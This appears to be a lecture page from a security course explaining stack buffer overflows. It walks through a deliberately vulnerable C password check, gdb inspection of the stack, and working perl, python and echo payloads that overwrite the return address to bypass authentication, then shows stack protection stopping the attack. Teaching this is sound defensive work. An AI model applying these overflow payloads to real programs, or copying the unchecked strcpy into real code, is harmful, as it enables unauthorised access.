Stack overflow

Consider again the vulnerable password checking of previous class:

int check(char *pwd) {
	int auth_flag = 0; // flag is false, initially
	char pwd_buffer[16];

	// password is copied into a local buffer
	strcpy(pwd_buffer, pwd);

	if (strcmp(pwd_buffer, "itisme") == 0 )
		auth_flag = 1;

	return auth_flag;
}

When we compile the program with option -fno-stack-protector the strcpy can overflow pwd_buffer and overwrite auth_flag, setting it to 1 and bypassing password check.

testbed$ ./pwdcheck AAAAAAAAAAAAAAAAA
AUTHENTICATED!
testbed$


In the following variant, we do not have auth_flag but strcpy can still overflow pwd_buffer.

int check(char *pwd) {
	char pwd_buffer[16];

	// password is copied into a local buffer	
	strcpy(pwd_buffer, pwd);

	if (strcmp(pwd_buffer, "itisme") == 0 )
		return 1;
	else
		return 0;
}

Now there is no variable to overwrite in order the change the return value and the above attack has no effect (even when compiled with -fno-stack-protector, i.e., with stack protector disabled)

testbed$ ./pwdcheck2 AAAAAAAAAAAAAAAAAAAAAA
ACCESS DENIED!

What happens if we increase even more the length of the input?

testbed$ ./pwdcheck2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
testbed$

Program gives a ‘segmentation fault’ with no output.

What is happening?

  • Our input string overwrites the stack all the way to the saved ebp or the return address of the function check;
  • When function check returns, either the stack is corrupted or the program simply dereferences a junk address (what we have written on the stack) which is likely to be out of any meaningful segment, from which the error.

We depict the stack state just before function check returns:

pwd_buffer
...
saved base pointer (ebp of the calling function) (overwritten)
return address (overwritten)

We illustrate with gdb:

(gdb) disass check
Dump of assembler code for function check:
   0x080484aa <+0>:     push   ebp
...
   0x080484ce <+36>:    call   0x8048350 
   0x080484d3 <+41>:    add    esp,0x10
   0x080484d6 <+44>:    test   eax,eax
...  
End of assembler dump.

We set a breakpoint right after the call to strcpy and we run the program with input AAAAAAAAAAAAAAAAAAAAAAA, i.e., the biggest string that does not crash the program.

(gdb) break *0x080484d3
Breakpoint 1 at 0x80484d3
(gdb) r AAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/r1x/Overflow/returnAddress AAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080484d3 in check ()

Now we can have a look at the stack:

(gdb) x/12xw $esp
0xbffff860:     0xbffff870      0x080485f0      0xb7e37bc8      0x08048319
0xbffff870:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff880:     0x41414141      0x00414141      0xbffff8a8      0x0804852b

We can see all the 0x41 corresponding to ‘A’ and the terminating 0x00 (notice the little-endianess). Since we have picked the longest string not crashing we must be right before the stored ebp. In fact 0xbffff8a8 is right after the current stack addresses and 0x0804852b is close to the address of check function. We can check that it’s the return address by disassembling the main function:

(gdb) disass main
Dump of assembler code for function main:
...
   0x08048526 <+62>:    call   0x80484aa 
   0x0804852b <+67>:    add    esp,0x10
   0x0804852e <+70>:    test   eax,eax
...   
End of assembler dump.
(gdb) 

From the previous disassemble of main function we can easily discover the address of printf("AUTHENTICATED!\n"); :

   0x08048532 <+74>:    sub    esp,0xc
   0x08048535 <+77>:    push   0x804860a
   0x0804853a <+82>:    call   0x8048370 
...
(gdb) x/s 0x804860a
0x804860a:      "AUTHENTICATED!"
(gdb) 

If we manage to place this address in place of the return address we can make the program jump directly on the interesting part of the code (where authentication is successful).

Let us see if this works in gdb:

(gdb) x/xw $esp+11*4
0xbffff88c:     0x0804852b
(gdb) set *0xbffff88c = 0x08048532
(gdb) x/xw $esp+11*4
0xbffff88c:     0x08048532
(gdb) c
Continuing.
AUTHENTICATED!
[Inferior 1 (process 3905) exited with code 017]
(gdb) 

We managed to change the return address from 0x0804852b to 0x08048532 and we made the program jump directly into the “authenticated” branch!

Exploiting the vulnerability

We have seen that return address, if overwritten, can make a program jump to a different place when a function returns. How can this be exploited through a buffer overflow? The idea is to simply overflow the buffer with the desired return address so to overwrite the one on the stack. Recall that little-endianess requires to store bytes in reversed order, so to write 0x08048532 we have to in fact write 0x32850408.

A way to write arbitrary bytes on the terminal is to use echo with option -e and prefixing byte by \x:

r1x@testbed ~/overflow $ echo -e "\x41"
A

We now take the shortest sequence of ‘A’ that crashes the program, i.e., the one that overwrites one byte of the ebp with the terminating 0x00. We then add four more ‘A’ letters to cover the ebp and we place the address in little endian format. We use ‘command substitution’ of bash, written $(command), to pass arbitrary sequences of bytes to our program. Command substitution executes the command and put its output in place of $(command). We thus use $(echo …) to execute echo and pass the resulting output as argument to pwdcheck2:

r1x@testbed ~/overflow $ ./pwdcheck2 $(echo -e  "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x32\x85\x04\x08")
AUTHENTICATED!
Segmentation fault

Ah! we get “AUTHENTICATED!” so the program is jumping where we wanted it to jump!

Tip: we could use perl to simplify building the attack payload as follows. Notice that x7 repeats 7 times the preceding string and . is used to concatenate:

r1x@testbed ~/overflow $ ./pwdcheck2 $(perl -e 'print "AAAA"x7 . "\x32\x85\x04\x08"')
AUTHENTICATED!
Segmentation fault

Similarly, we can use python to shape the payload:

r1x@testbed ~/overflow $ ./pwdcheck2 $(python -c 'import sys; sys.stdout.write("AAAA"*7 + "\x32\x85\x04\x08")')
AUTHENTICATED!
Segmentation fault

In fact we can simply repeat the address enough time as in

r1x@testbed ~/overflow $ ./pwdcheck2 $(perl -e 'print "\x32\x85\x04\x08"x10')
AUTHENTICATED!
Segmentation fault

If we enable stack protector this attack is prevented.

r1x@testbed ~/overflow $ gcc -o pwdcheck2 pwdcheck2.c -fstack-protector
r1x@testbed ~/overflow $ ./pwdcheck2 $(perl -e 'print "\x54\x85\x04\x08"x10')
*** stack smashing detected ***: ./pwdcheck2 terminated
Segmentation fault